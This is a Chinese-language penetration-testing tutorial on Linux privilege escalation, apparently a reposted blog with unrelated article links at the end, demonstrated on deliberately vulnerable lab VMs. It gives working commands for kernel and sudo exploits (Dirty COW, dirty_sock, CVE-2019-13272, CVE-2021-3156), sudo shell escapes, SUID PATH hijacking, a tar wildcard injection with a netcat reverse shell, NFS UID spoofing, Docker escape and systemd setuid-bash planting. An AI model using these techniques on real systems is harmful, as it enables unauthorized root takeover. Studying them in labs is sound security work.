Linux常用提权方法 (゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 简介
    • 常用命令汇总
  • 靶机环境
  • Linux提权方法
    • Linux提权漏洞利用
      • 脏牛(Dirty COW)CVE-2016-5195漏洞
      • CVE-2019-7304漏洞
      • CVE-2019-13272漏洞
      • CVE-2021-3156漏洞
    • Linux环境变量
      • 文件特殊权限利用
      • 查看隐藏文件
    • sudo权限滥用
    • 定时任务提权
      • 将参数写在文件名中
    • 网络文件系统低权限访问
      • 越权写入
    • Docker提权
    • Systemd配置提权
      • Systemd简介
      • Systemd提权

简介

进行linux提权前最好对Linux信息收集、渗透测试常用命令有所了解。

常用命令汇总

这里简单在提一下常用命令

命令作用
uname -a查看系统所有信息
ifconfig -a查看所有网络信息
ps auxps -elf查看进程信息
idwhowlast查看用户信息
crontab -l查看当前用户的计划任务

靶机环境

下面的提权,我主要会使用两个靶机

  1. OWASP_Broken_Web_Apps_VM_1.2 (默认用户名账户:root 密码: owaspbwa) 下载地址:https://sourceforge.net/projects/owaspbwa/files/
  2. lin.security_v1.0 (默认用户名账户:bob 密码: secret)下载地址: https://www.vulnhub.com/entry/linsecurity-1,244/

如果感觉官网下载慢,可以从我提供的百度网盘下载
链接:https://pan.baidu.com/s/1uq-wQUIsEQm76M-LyEwVIQ
提取码:panx

这里OWASP_Broken_Web_Apps_VM_1.2 环境默认使用的是root用户,所以我给他添加了一个新用户,方便我们提权测试!

# 添加用户名为xunmi的新用户,并且将默认命令行设置为bash(这个比较好用,默认是sh)
useradd -s /bin/bash -m xunmi
# 给xunmi用户设置密码(推荐设置一个简单点的,方便我们自己使用)
passwd xunmi
# 创建xunmi家目录
mkdir /home/xunmi
# 将权限移交给xunmi
chown -R xunmi:xunmi /home/xunmi

在这里插入图片描述
security_v1.0 环境的默认键盘和网络环境都有点问题,需要我们配置一下(因为配置这些需要高级权限,所以会先提权处理一下)

# 这是一条提权命令,之后会详解这里因为会用到root权限,就先使用一下!
sudo awk 'BEGIN {system("/bin/bash")}'
# 修改键盘布局
# 默认\符号是shift+2
vim /etc/default/keyboard
# 将XKBLAYOUT改的值为us
# 保存好退出后(:wq)重新此服务,如下命令
setupcon
# 配置网卡
vim /etc/netplan/50-cloud-init.yaml
# 将enp0s3改为ens33
# 同样配置退出后重启服务即可
netplan apply
# 切回我们常规用户,方便之后提权测试
su - bob

Linux提权方法

提权指的就是从低权限用户变为高权限用户的一种方法。所以我们至少要保证已经拿到目标机器的低权限用户了。
Linux漏洞信息集合: (https://github.com/SecWiki/linux-kernel-exploits)

Linux提权漏洞利用

脏牛(Dirty COW)CVE-2016-5195漏洞

主要影响范围:Linux 内核 => 2.6.22 ~ 3.9 (x86/x64)
漏洞检测: uname -a查看linux内核是否在此范围内
下载地址: https://github.com/FireFart/dirtycow
使用靶机: OWASP_Broken_Web_Apps_VM_1.2
首先我们将攻击载荷下载到目标机器

# https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c,这是攻击载荷的文件,如果将文件传入目标机器就靠你自己了!我用的shell(FinalShell)终端有非常方便的拖拽导入。
# 将c进行编译(正常情况下,输入gcc dirty.c -o dirty即可,但这里需要填写两个动态链接库pthread和lcrypt)
gcc -pthread dirty.c -o dirty -lcrypt
# 给生成的文件赋予权限
chmod 777 dirty
# 运行文件(后面跟着想要设置的密码!这个密码会替换目标root用户的密码。)
./dirty 密码
# 切换用户,切换进入的用户虽然不叫root,但有所有root用的权限(可以输入id查看信息)
su -
# 搞完事情后记得把密码文件恢复
mv /tmp/passwd.bak /etc/passwd

在这里插入图片描述

CVE-2019-7304漏洞

这是一个Linux包管理器snap本地提权漏洞,主要针对一些乌班图系统

Ubuntu版本范围:
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS
snap版本范围:
2.28 < snapd < 2.37

漏洞检测: snap --version 查看当前版本是否在指定范围内
攻击载荷: https://github.com/initstring/dirty_sock
(v1: 将目标秘钥发送到指定邮箱, v2: 创建一个用户名密码都为dirty_sock的有所有sudo权限的用户!)

# 这里我们使用v2版本
# 先赋权
chmod 777 dirty_sockv2.py
# 在使用
python3 dirty_sockv2.py
# 如下图成功后可以登陆到dirty_sock用户(密码也是dirty_sock)
su - dirty_sock
# 登陆成功后即可使用sudo命令已管理员身份执行任何命令了,比如如下命令可以直接切换到root用户!
sudo su

在这里插入图片描述

CVE-2019-13272漏洞

主要影响范围:Linux 内核 => 4.10 ~ 5.1.17
攻击载荷里描述主要针对下列版本系统可以进行提权(我当前并没有下列系统的靶机所以没有复现此漏洞)

// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH

攻击载荷: https://www.exploit-db.com/exploits/47163
下载地址: https://www.exploit-db.com/download/47163

# 下载攻击载荷
wget https://www.exploit-db.com/download/47163 -O exp.c
# 将目标编译
gcc exp.c -o exp
# 启动提权
./exp

CVE-2021-3156漏洞

主要影响范围:sudo 1.8.2~1.8.31p2、sudo 1.9.0~1.9.5p1
漏洞检测:sudoedit -s / 报错信息sudoedit开头则可能存在此风险,如果已usage开头,则无风险。除了这两种情况,还有可能因为没有sudo使用权限导致的报错!
在这里插入图片描述
下载地址: https://github.com/blasty/CVE-2021-3156.git
此漏洞使用条件还是比较苛刻的,首先我们需要用户有一定的sudo权限sudo -l,其次Linux自带的一个安全机制对此漏洞的利用也有很大的影响,此安全机制导致服务每次启动的时候都会在不同的内存区域中,而此漏洞需要知道我们sudo服务的内存偏移量才能对齐进行进行漏洞利用。下面这个漏洞利用脚本可以帮我们使用穷举法(暴力破解)去找sudo所在位置。
下载地址: https://github.com/lockedbyte/CVE-Exploits
此脚本使用也比较简单,但需要注意的是,这个脚本应该是在Windows环境下写的,我上传到Linux中时候出现了一些编码问题,提示/bin/bash^M: bad interpreter: No such file or directory,如果你也有类似问题,需要先改变一下编码

# 首先vim打开我们需要执行的文件
vim exp.sh
# 编辑文件,执行
:set ff=unix
# 退出编辑
:wq
# 运行脚本
./exp.sh

在这里插入图片描述

然后这个脚本就会开始穷举攻击了。

Linux环境变量

# 查看所有环境变量
export
# 查看环境变量路径
echo $PATH

我们在linux中使用的命令就是一个个可执行文件,linux系统就是通过这些环境变量所指定的路径来快速定位到我们想要执行的命令。比如我想执行一个ls命令,其实我们执行的是/bin/ls这个可执行文件,而系统就是靠环境变量中我们设置的路径/bin中找到的ls并执行。
在这里插入图片描述
这个执行的优先级是按从前到后的,如上图,假如在/usr/local/sbin路径中找到ls,则就会使用/usr/local/sbin路径中的ls而不是/bin中的。而我们主要就是需要利用这个特性,来完成提权。

# 临时添加环境变量(从头添加)
export PATH=路径:$PATH
# 添加到尾部
export PATH=$PATH:路径

文件特殊权限利用

我在Linux渗透测试常用命令中提到过linux有几种特殊权限,这里主要会用到属主运行setuid和属组运行setgid,如果我们知道已属主运行或者属组运行的可执行文件属主或属组为管理员权限,并且会调用那些命令的话,即可尝试对齐命令做替换处理来达到提权目的。
在这里插入图片描述
假设现在有这样一个文件,

#include<unistd.h>
#include<stdlib.h>
void main(){
        setuid(0);
        setgid(0);
        system("ps");
}

我们将其编译成可执行文件,并且将其赋予属主执行权限!

gcc ps.c -o 测试
chmod 4777 测试
ls -l

在这里插入图片描述
上述条件只是我搭建的一个测试条件,正常情况下如果碰到类似情况,可以尝试这种执行方法

# 查找上述这种文件的方法
# 从根目录(/),查找属主(4000)或属组(2000)或同时有属主和属组(6000)执行权限的文件(f),并且自动删除所有报错(2>/dev/null, 2是所有的错误信息,/dev/null是linux中的一个虚无的文件)
find / -perm -4000 -type f 2>/dev/null
# 详细信息版本
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

从上面的属主执行文件中,我们可以看到目标会调用ps命令,这时候我们可以利用环境变量将目标想要执行的文件替换成我们想要执行的命令

# 创建一个ps文件准备替换(如果当前用户没有自己的文件夹,可以在/tmp这个临时文件夹中创建)
echo "/bin/bash" > ps
# 给我们创建的额ps文件赋权
chmod 777 ps
# 添加环境变量(当前我的ps在/home/bob目录中!)
export PATH=/home/bob:$PATH

在这里插入图片描述
suid命令汇总网站(gtfobins): https://gtfobins.github.io/#+suid
除了上述这种利用外,我们还能找一些系统命令进行利用,比如如下我们在找属主执行文件的时候找到了taskset命令,这时候我们就可以利用此命令的漏洞进行提权
在这里插入图片描述
taskset命令提权: https://gtfobins.github.io/gtfobins/taskset/
在这里插入图片描述

查看隐藏文件

# Linux隐藏文件会使用.开头,所以使用".*"即可匹配隐藏文件
find / -name ".*" -type f 2>/dev/null
# 查看详细信息版本,并且只查看/home路径中的隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null 
# 或
find /home -name ".*" -type f -exec ls -al {} \; 2>/dev/null 

sudo权限滥用

滥用sudo的先决条件是你知道当前登陆用户的明文密码!
在Linux中很多命令权限只有管理员才能使用,普通用户如果想在不登录管理员账号的情况下执行一些管理员命令就需要用到sudo这个权限,如果有所有sudo权限的话,就和Linux超级管理员root用户基本一致了。使用sudo -l命令即可查看当前用户有哪些权限,下列两种分别是有所有sudo权限和没有任何sudo权限的提示。
在这里插入图片描述
如果你拿到的用户发现有所有的sudo权限,那么恭喜,宝才,你捡到鬼了。输入sudo su命令即可获得到root用户,不过正常状态下,我应该不会运气这么好。
大多数情况下,我们可能会碰到下列类似的情况,会告诉我们使用当前用户有哪些权限可以使用sudo命令执行。如果你又捡到鬼了,发现有/bin/bash或者/bin/sh之类的命令,也可直接提权。
在这里插入图片描述
除了上面捡到鬼的情况外,sudo大概率一般会赋权给用户find权限方便用户查找,或ftp,git之类的命令。
提权命令汇总网站(gtfobins): https://gtfobins.github.io/#+sudo
比如我们利用find提权

# https://gtfobins.github.io/gtfobins/find/#sudo
# 在当前目录下(.)执行(-exec)/bin/bash,执行完成后退出(-quit),;代表执行另外一条命令,\是;的转义字符
sudo find . -exec /bin/bash \; -quit
# socat也可以,剩下的就不演示了
# stdin 是标准输入
sudo socat stdin exec:/bin/sh

在这里插入图片描述

定时任务提权

一般我们拿到低权限用户都会看看对方有没有定时任务,如下所示

# 查看当前系统中有哪些定时任务
cat /etc/crontab
# 查看文件类型(如果是脚本最好,shell script)
file 定时任务执行文件
# 查看当前文件权限
ls -l 定时任务执行文件

在这里插入图片描述
首先我们可以看到这个系统中有一个每分钟都会执行一次的定时任务,并且这个定时任务是一个脚本,但是我们却只有这个脚本的可读权限
这个定时任务主要执行的是将家目录中所有的子目录压缩备份/etc/backups目录中
在这里插入图片描述

将参数写在文件名中

利用此漏洞前我们需要知道Linux的一个特性,如果我们有一个名字为--参数的文件,会和原本的参数产生冲突!如下图,我创建了一个文件名为--help的文件,但我使用cat --help却无法查看此文件,会触发帮助命令。
在这里插入图片描述
这里我们使用msf生成一个本地反弹命令

# 此命令会生成一个反弹shell命令
msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
# 不执行上述命令也可以,直接用我生成的
mkfifo /tmp/mpuo; nc 127.0.0.1 8888 0</tmp/mpuo | /bin/sh >/tmp/mpuo 2>&1; rm /tmp/mpuo

上述的定时任务中,我们发现定期备份的文件中,有我们当前用户的目录

# 每次执行的定时任务
for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done
# 其中这段表示将/home中所有文件夹名赋值给i,下面我们用bob举例,假如现在i被赋值为bob了
for i in $(ls /home)
# 然后会cd到bob的家目录中
cd /home/bob
# 下面就是我们需要利用的命令,将鲍勃家目录中所有的文件进行备份!
/bin/tar -zcf /etc/backups/home-bob.tgz *

漏洞利用:

# 把上述生成的本地反弹shell命令写入脚本
echo "mkfifo /tmp/mpuo; nc 127.0.0.1 8888 0</tmp/mpuo | /bin/sh >/tmp/mpuo 2>&1; rm /tmp/mpuo" > shell.sh
# 执行一个脚本
echo > "--checkpoint=1"
# 执行的脚本目标(执行shell脚本,我们上面生成的反弹命令)
echo > "--checkpoint-action=exec=sh shell.sh"
# 建立上述命令后,再次备份打包时候打包命令便会变为如下所示
# tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
# 监听我们反弹的接口
nc -lvvp 8888

在这里插入图片描述

网络文件系统低权限访问

网络文件系统,英文Network File System(NFS)它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。类似Windows中的网络功能,此功能默认开放在2049端口。我们可以使用下列nmap命令查找目标机器

nmap -sS -T4 -p- 目标地址

在这里插入图片描述

# 安装nfs服务
apt-get install nfs-common
# 查看读取权限
showmount -e 目标地址
# 挂载本地
mount 目标地址:远程要挂载的目录 本地目录

在这里插入图片描述
挂载完成后,我们就可以看到目标文件,但我们对此目录是没有写入操作权限的,因为我的超级管理用户是被压缩成了匿名用户。

越权写入

如果我们先在对方主机写入文件,可以通过伪造对方主机的用户来实现,首先根据上述我们映射文件时候获取到的信息是,目标映射文件是属于peter用户,并且这个用户的uid为1001,gid为1005。我们在本地也创建一个类似的用户

# 创建名为peter,组号为1005的组(一般用户组和用户是一个名字)
groupadd -g 1005 peter
# 创建peter用户并且将其添加入peter组
adduser peter -uid 1001 -gid 1005
# 查看peter信息
cat /etc/passwd |grep peter

在这里插入图片描述
之后即可在目标机器中写入文件
在这里插入图片描述

Docker提权

前提条件: 1. 目标机器属于docker组 2. 目标机器最好能和外网连接(或者你能想目标机器上传文件也可以尝试,不过这需要有一定的docker使用基础)
满足上述条件后,只需输入docker run -v /:/hostOS -i -t chrisfosterelli/rootplease即可尝试提权
在这里插入图片描述

Systemd配置提权

Systemd简介

Linux在之前的很多版本中,服务都是和init进程有关的,启动时候我们需要输入如下命令

# 假设这里启动apache2服务
sudo /etc/init.d/apache2 start 
# 或者
service apache2 start

init进程因为在设计时使用的是串行启动,并且只负责启动服务脚本,所以导致比较低效。而Systemd就是为了解决这些问题从而存在的。
不少新系统中会将Systemd设置为系统第一进程(PID=1),而且Systemd并不是一个命令,而是一组管理系统的命令,其中systemctlSystemd 的主命令

# 重启系统
$ sudo systemctl reboot
# 关闭系统,切断电源
$ sudo systemctl poweroff
# 查看启动耗时
$ systemd-analyze 

在这里插入图片描述

Systemd提权

systemd提权其实和我上述提到的文件特殊权限提权有一些类似,首先我们还是需要找到一个可以用超级管理员省份执行的目标,我这里使用/lib/systemd/system下的debug.service,因为我们当前peter用户是对齐有可写权限的。
在这里插入图片描述
查看此服务配置可以看出,当前服务会已超级管理员(root)用户省份执行一个文件,那我们只要把目标文件改成我们想要目标执行的命令,并且重启服务即可!
在这里插入图片描述

# 先回到用户家目录
cd ~
# 转义\n之类的字符(-e),将/bin/bash复制到/home/peter/管理员控制台,并且赋权为6755
# 将其保存在`管理员控制台.sh`文件中,并且赋给执行权限
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/管理员控制台 \nchmod 6755 /home/peter/管理员控制台' > /home/peter/管理员控制台.sh && chmod +x 管理员控制台.sh
# 修改debug配置文件
vim /lib/systemd/system/debug.service
# ExecStart=赋值为
/home/peter/管理员控制台.sh

在这里插入图片描述
不过之后重启服务就需要其他手段了,是在不行就等着管理员那天重启系统吧!重启后我们便能看到的如下所示的管理员控制台,这时候并不是直接执行管理员控制台即可获得root用户权限,而是需要我们执行./管理员控制台 -p才能获取root权限!
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux常用提权方法 (゚益゚メ) 渗透测试 的相关文章

  • C/C++函数注释格式

    目录 C C 43 43 函数注释格式函数注释格式1函数注释格式2函数注释格式3函数注释格式4函数注释格式5 C C 43 43 函数注释格式 函数注释格式1 span class token comment 61 61 61 61 61
  • 磁编码器MT6835_SPI读取位置信息

    文章目录 磁编码器MT6835 SPI读取位置信息简介应用特性和优势参考资料Cubemx 创建 STM32 工程读取编码器位置信息添加 SPI 读取位置信息代码编码器位置信息输出 磁编码器MT6835 SPI读取位置信息 简介 MT6835
  • 四旋翼无人机飞控系统设计(方案篇)

    简介 四旋翼无人机为多旋翼无人机中最经典的机型 xff0c 此设计为四旋翼无人机飞控系统设计 xff08 侧重软件 xff09 xff0c 这里主要涉及基于MCU的无人机飞控程序的编写 xff0c 使用的无人机机架 电机 电调 锂电池 航模
  • 运算放大器-虚短虚断

    运算放大器 虚短虚断 虚短虚断 虚短 虚短指在理想情况下 xff0c 两个输入端的电位相等 xff0c 就好像两个输入端短接在一起 xff0c 但事实上并没有短接 xff0c 称为 虚短 虚短的必要条件是运放引入深度负反馈 V 43 61
  • vscode 配置头文件路径

    1 打开 VSCode 界面 xff0c 在左下角找到齿轮 打开设置 xff0c 点击配置文件 2 在配置文件中添加相应的头文件路径
  • vscode 编码格式配置及保存(统一工程的编码格式,防止中文注释乱码)

    使用 VSCode 统一工程的编码格式 打开不同编码格式的文件 xff0c 点击右下角编码格式 xff0c 通过不同的编码来保存 xff0c 防止更改编码格式时导致中文注释乱码
  • CentOS7安装oracle12G调不出图形化界面

    问题 xff1a centos如果无图形化界面 xff0c 在安装oracle xff0c 调用图形化界面时会遇到问题 xff0c 报错为 xff1a 无法使用命令 usr bin xdpyinfo 自动检查显示器颜色 请检查是否设置了 D
  • STM32外围电路硬件解析

    复位电路 xff1a 复位 xff1a 让MCU回到最开始的状态 并且从头开始 xff0c 重新执行程序 我们什么时候需要复位 xff1f 1 烧录的时候 2 程序跑飞了的时候 3 上电复位 xff08 上电的时候需要复位 xff09 复位
  • stm32f103——中断——UART中断服务函数

    在程序中 xff0c CPU对外界突发事件进行处理的方式又两种 xff1a 1 轮询系统 xff1a xff08 在main中 xff0c 使用while循环 xff0c 进行循环判断外界事物是否发生 xff09 while xff08 1
  • Docker快速入门,看这个就够了

    Docker快速入门 一 Docker介绍1 1 Docker背景1 2 Docker概念1 3 Docker的优势1 4 Docker的三个基本概念 二 Docker的安装和使用2 1 安装依赖包2 2 安装Docker 三 启动Dock
  • Kubernetes(K8S)集群部署搭建图文教程(最全)

    Kubernetes 集群安装 前期准备集群安装系统初始化Harbor采取私有的仓库去镜像使用集群检测集群功能演示 前期准备 第一步 xff1a Router软路由构建 第二步 xff1a centos7安装 5台 xff08 自行安装 x
  • 【STM32-HAL库】一步步搭建出FOC矢量控制(附C代码)

    说明 本文为无刷电机或PMSM电机驱动的简易代码 xff0c 旨在分享一些个人调试过程的小心得 xff0c 提供一个demo文件 xff0c 程序仍有许多不完善的地方 xff0c 建立起个人的FOC底层驱动 xff0c 可以帮助快速熟悉FO
  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行

随机推荐

  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span
  • GPS数据类型(ROS)

    文章目录 一 传感器分类二 作用三 系统组成四 位置表示五 数据格式六 ROS中GPS数据格式sensor msgs NavSatFixROS中GPS数据主要包含这四类 xff0c 分别是gps 裸数据ros封装 xff0c 位置 xff0
  • cmake使用教程

    CMakeLists txt文档编写以及packsge xml文档介绍 CMakeLists txt文档一 cmake minimum required命令二 CMake中的编译类型三 cmake编译选项 xff08 与2对应 xff09
  • 四旋翼无人机飞控系统设计(闭环控制系统)

    对于一个简单的飞控程序来说 xff0c 控制器是它最核心的部分 xff0c 这里主要与大家讨论控制系统的基本理论知识 xff08 自控大佬请绕道 xff09 xff0c 包括控制系统概念 闭环控制系统的原理 下篇将侧重包含pid控制算法的具
  • 针对frame_id和child_frame_id的理解

    ros基础必看之各个frame的理解 ROS坐标系统 xff0c 常见的坐标系和其含义 ROS中TF 坐标系转换 原理与使用
  • IMU预积分学习

    IMU预积分学习 一 IMU状态传递方程 一 IMU状态传递方程 几种不同的表达形式 xff1a 1 lio mapping xff1a 参考大佬 xff1a lio mapping 及 VINS Mono代码及理论推导 xff08 2 x
  • Python3 内置模块 - os

    方法名说明os access判断文件权限os chdir改变当前工作目录os chmod file 修改文件权限os execvp 启动一个新进程os execvp 执行外部程序脚本 xff08 Uinx xff09 os fork 获取父
  • AttributeError: module 'tornado.web' has no attribute 'asynchronous'解决方法

    AttributeError module tornado web has no attribute 39 asynchronous 解决方法 今天看tornado异步时发现的错误 xff0c 查了一下 xff0c 原来tornado6以后
  • 【STM32项目】- 人体检测(体温、心率、心跳、跌倒检测)

    STM32人体检测 xff08 体温 心率 心跳 跌倒检测 xff09 43 zigbee 笔者前言 在闲鱼有缘结识的一个哥们 xff0c 帮助做的基于STM32人体检测系统 xff0c 我负责硬件程序开发设计 xff0c 哥们负责客户端服
  • ESP32 之 esp32-cam wifi拍照传图系统1

    文章目录 ESP32 之 esp32 cam wifi拍照传图系统1 效果演示2 材料准备3 原理图接线4 下载代码 ESP32 之 esp32 cam wifi拍照传图系统 1 效果演示 2 材料准备 ESP32 camUSB转TTL按钮
  • ESP32 之 esp32-cam wifi拍照传图系统2

    ESP32 之 esp32 cam wifi拍照传图系统 补充说明 ESP32 CAM总结 一 ESP32初识 ESP32 CAM模组的核心芯片 xff1a ESP32 S 模块是一款超小体积的多功能通用型 802 11b g n WiFi
  • 【PX4 飞控二次开发】第一个程序 打印输出-模拟

    第一个程序 1 编写任务代码 Cmake文件2 编译 1 编写任务代码 Cmake文件 span class token operator span span class token operator span PIX4 span clas
  • 【PX4 飞控二次开发】UORB 发布及订阅自定义

    UORB测试 一 添加msg1 创建 msg文件2 Cmakelists txt修改3 编译错误4 编译成功 二 发布及订阅主题1 添加代码2 修改cmake3 再次编译 一 添加msg 1 创建 msg文件 span class toke
  • 【PX4 飞控二次开发】自制ESP8266WIFI数传

    ESP8266数传模块 一 简介二 下载烧录固件1 下载MavLink ESP8266固件2 烧录 三 连线四 配置ESP8266五 连接WIFI Bridge 一 简介 ESP8266是一款低成本 xff0c 易于使用的Wi Fi模块 x
  • 四旋翼无人机飞控系统设计(PID控制算法)

    PID控制算法 PID控制器是一个结构简单并且成熟稳定的控制器 xff0c 在工业上应用广泛 包括比例 xff08 Proportion xff09 积分 xff08 Integral xff09 微分 xff08 Differential
  • 树莓派入门-环境搭建

    树莓派环境搭建 一 修改文件1 1系统安装1 2添加修改文件 二 更换源加速2 1修改sources list2 2修改raspi list2 3更新系统 三 配置系统3 1摄像头 VNC3 2安装TFTP服务3 3固定IP3 4分辨率修改
  • STM32实战-串口通信方式汇总

    STM32实战 串口通信方式汇总 1 串口基本概念1 1 串口通讯 Serial Communication 1 2 串口通讯的数据格式1 3 通讯方式1 4 串口物理链路形式1 5 同步通信和异步通信 2 STM32 串口配置2 1 US
  • 【STM32项目】老人健康跌倒检测系统实现

    目录 基于STM32老人跌倒检测系统实现一 功能展示二 硬件方案2 1 模组选型2 2 硬件设计 三 软件实现3 1功能概述3 2软件平台 四 实现原理 xff08 持续更新 xff09 3 1 跌倒算法实现3 2 心率血氧检测3 3 红外
  • Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介常用命令汇总 靶机环境Linux提权方法Linux提权漏洞利用脏牛 Dirty COW CVE 2016 5195漏洞CVE 2019 7304漏洞CVE 2019 13272漏洞CVE 2021 3156漏洞 Linux环境